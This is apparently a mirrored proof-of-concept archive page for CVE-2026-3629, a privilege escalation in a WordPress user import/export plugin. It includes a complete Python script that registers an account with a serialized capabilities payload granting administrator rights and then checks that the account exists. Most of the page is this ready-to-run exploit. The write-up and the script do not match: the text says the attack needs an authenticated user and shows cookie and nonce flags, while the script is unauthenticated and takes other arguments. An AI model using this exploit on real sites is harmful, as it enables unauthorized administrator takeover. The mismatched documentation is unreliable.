PoC Archive PoC Archive
Critical CVE-2026-3629 unpatched

WordPress "Import and Export Users and Customers" Plugin Privilege Escalation (CVE-2026-3629)

by PySecTools · 2026-07-05

Severity
Critical
CVE
CVE-2026-3629
Category
web
Affected product
Import and Export Users and Customers (WordPress plugin)
Affected versions
Vulnerable versions prior to fix
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherPySecTools
CVE / AdvisoryCVE-2026-3629
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, privilege-escalation, plugin, import-export-users, cwe-269
RelatedN/A

Affected Target

FieldValue
Software / SystemImport and Export Users and Customers (WordPress plugin)
Versions AffectedVulnerable versions prior to fix
Language / PlatformPython detection/PoC script
Authentication RequiredYes (low-privilege authenticated user)
Network Access RequiredYes (HTTP to WordPress site)

Summary

The “Import and Export Users and Customers” WordPress plugin contains a privilege-escalation flaw that allows a low-privileged authenticated user to escalate to a higher-privileged role (e.g. administrator) through the plugin’s user import/export functionality, due to insufficient capability checks.


Vulnerability Details

Root Cause

The plugin’s user-import handler does not adequately verify that the requesting user has permission to assign administrator-level roles before processing an import request.

Attack Vector

  1. Authenticate as a low-privileged WordPress user (e.g. Subscriber).
  2. Submit a crafted user-import request to the plugin’s endpoint specifying an elevated role for the attacker’s own account.
  3. The plugin processes the import without adequately verifying the caller’s authorization to assign that role, elevating the attacker’s privileges.

Impact

Privilege escalation from a low-privileged authenticated account to administrator on the affected WordPress site.


Environment / Lab Setup

Target:   WordPress site with the vulnerable "Import and Export Users and Customers" plugin active
Attacker: Python 3 + requests, a low-privileged WordPress account

Proof of Concept

PoC Script

See CVE-2026-3629.py in this folder.

1
python3 CVE-2026-3629.py -u https://target-site.com -c <cookie> -x <nonce>

Checks for (and can attempt to trigger) the privilege-escalation condition against the target WordPress plugin installation.


Detection & Indicators of Compromise

Signs of compromise:

  • User accounts unexpectedly promoted to administrator
  • Import/export plugin activity from non-admin sessions

Remediation

ActionDetail
Primary fixUpdate the plugin to the version that adds proper capability checks on user-role assignment during import
Interim mitigationRestrict plugin usage/import functionality to trusted administrators only until patched

References


Notes

Mirrored from https://github.com/PySecTools/CVE-2026-3629 on 2026-07-05.

CVE-2026-3629.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python

import requests
from urllib.parse import urlparse
from urllib3 import disable_warnings
from colorama import init, Fore, Style
import argparse
import sys

disable_warnings()
init(autoreset=True)
DEFAULT_USERNAME = "test_username"
DEFAULT_EMAIL = "test_username@example.com"
DEFAULT_TIMEOUT = 30
PAYLOAD = 'a:1:{s:13:"administrator";b:1;}'


def show_banner():
    banner = f"""
{Fore.CYAN}╔══════════════════════════════════════════════════════╗
{Fore.CYAN}{Fore.YELLOW}WordPress Privilege Escalation Checker {Fore.CYAN}{Fore.CYAN}{Fore.GREEN}Single Target Mode {Fore.CYAN}{Fore.CYAN}╚══════════════════════════════════════════════════════╝
{Style.RESET_ALL}
    """
    print(banner)


def normalize_url(url):
    url = url.strip().rstrip("/")
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url


def verify_user_exists(url, username, timeout):
    lostpass_url = f"{url}/wp-login.php?action=lostpassword"
    data = {"user_login": username, "redirect_to": "", "wp-submit": "Get New Password"}
    try:
        resp = requests.post(lostpass_url, data=data, timeout=timeout, verify=False)
        return "There is no account with that username" not in resp.text
    except:
        return False


def check_vulnerability(url, username, email, timeout):
    register_url = f"{url}/wp-login.php?action=register"
    data = {"user_login": username, "user_email": email, "wp_capabilities": PAYLOAD}

    print(f"{Fore.BLUE}[*] Checking: {url}")
    print(f"{Fore.BLUE}[*] Target User: {username}")
    print(f"{Fore.BLUE}[*] Timeout: {timeout}s\n")

    try:
        resp = requests.post(
            register_url,
            data=data,
            timeout=timeout,
            verify=False,
            allow_redirects=False,
        )

        if resp.status_code == 302:
            if verify_user_exists(url, username, timeout):
                print(
                    f"{Fore.GREEN}[✓] VULNERABLE! User '{username}' created successfully!"
                )
                print(f"{Fore.GREEN}[+] URL: {url}")
                print(f"{Fore.GREEN}[+] Username: {username}")
                print(f"{Fore.GREEN}[+] Email: {email}")
                return True
            else:
                print(f"{Fore.RED}[✗] FALSE POSITIVE (User not actually created)")
                return False

        elif resp.status_code == 200:
            resp_lower = resp.text.lower()
            if "already exists" in resp_lower:
                if verify_user_exists(url, username, timeout):
                    print(
                        f"{Fore.YELLOW}[!] User '{username}' already exists - may be vulnerable"
                    )
                    print(f"{Fore.YELLOW}[!] URL: {url}")
                    return True
                else:
                    print(
                        f"{Fore.RED}[✗] SAFE (User doesn't exist but registration didn't work)"
                    )
            elif "registration" in resp_lower and "error" in resp_lower:
                print(f"{Fore.RED}[✗] SAFE (Registration is blocked/disabled)")
            else:
                print(f"{Fore.RED}[✗] SAFE (Unknown response)")
            return False
        else:
            print(f"{Fore.RED}[✗] SAFE (HTTP {resp.status_code})")
            return False

    except requests.exceptions.Timeout:
        print(f"{Fore.RED}[✗] Timeout error - server not responding within {timeout}s")
        return False
    except requests.exceptions.ConnectionError:
        print(f"{Fore.RED}[✗] Connection error - cannot reach the target")
        return False
    except Exception as err:
        print(f"{Fore.RED}[✗] Error: {str(err)}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="WordPress Privilege Escalation Vulnerability Checker (Single Target)",
        epilog="Example: python3 app.py http://example.com --username admin --email admin@example.com --timeout 20",
    )
    parser.add_argument("url", help="Target WordPress URL (e.g., http://example.com)")
    parser.add_argument(
        "--username",
        "-u",
        default=DEFAULT_USERNAME,
        help=f"Username to test (default: {DEFAULT_USERNAME})",
    )
    parser.add_argument(
        "--email",
        "-e",
        default=DEFAULT_EMAIL,
        help=f"Email address (default: {DEFAULT_EMAIL})",
    )
    parser.add_argument(
        "--timeout",
        "-t",
        type=int,
        default=DEFAULT_TIMEOUT,
        help=f"Request timeout in seconds (default: {DEFAULT_TIMEOUT})",
    )

    args = parser.parse_args()

    show_banner()

    target_url = normalize_url(args.url)
    parsed = urlparse(target_url)
    base_url = f"{parsed.scheme}://{parsed.netloc}"

    print(f"{Fore.CYAN}════════════════════════════════════════")
    print(f"{Fore.CYAN} Target: {base_url}")
    print(f"{Fore.CYAN}════════════════════════════════════════\n")

    result = check_vulnerability(base_url, args.username, args.email, args.timeout)

    print(f"\n{Fore.CYAN}════════════════════════════════════════")
    if result:
        print(f"{Fore.GREEN}[✓] RESULT: VULNERABLE ✓")
    else:
        print(f"{Fore.RED}[✗] RESULT: NOT VULNERABLE ✗")
    print(f"{Fore.CYAN}════════════════════════════════════════")

    return 0 if result else 1


if __name__ == "__main__":
    sys.exit(main())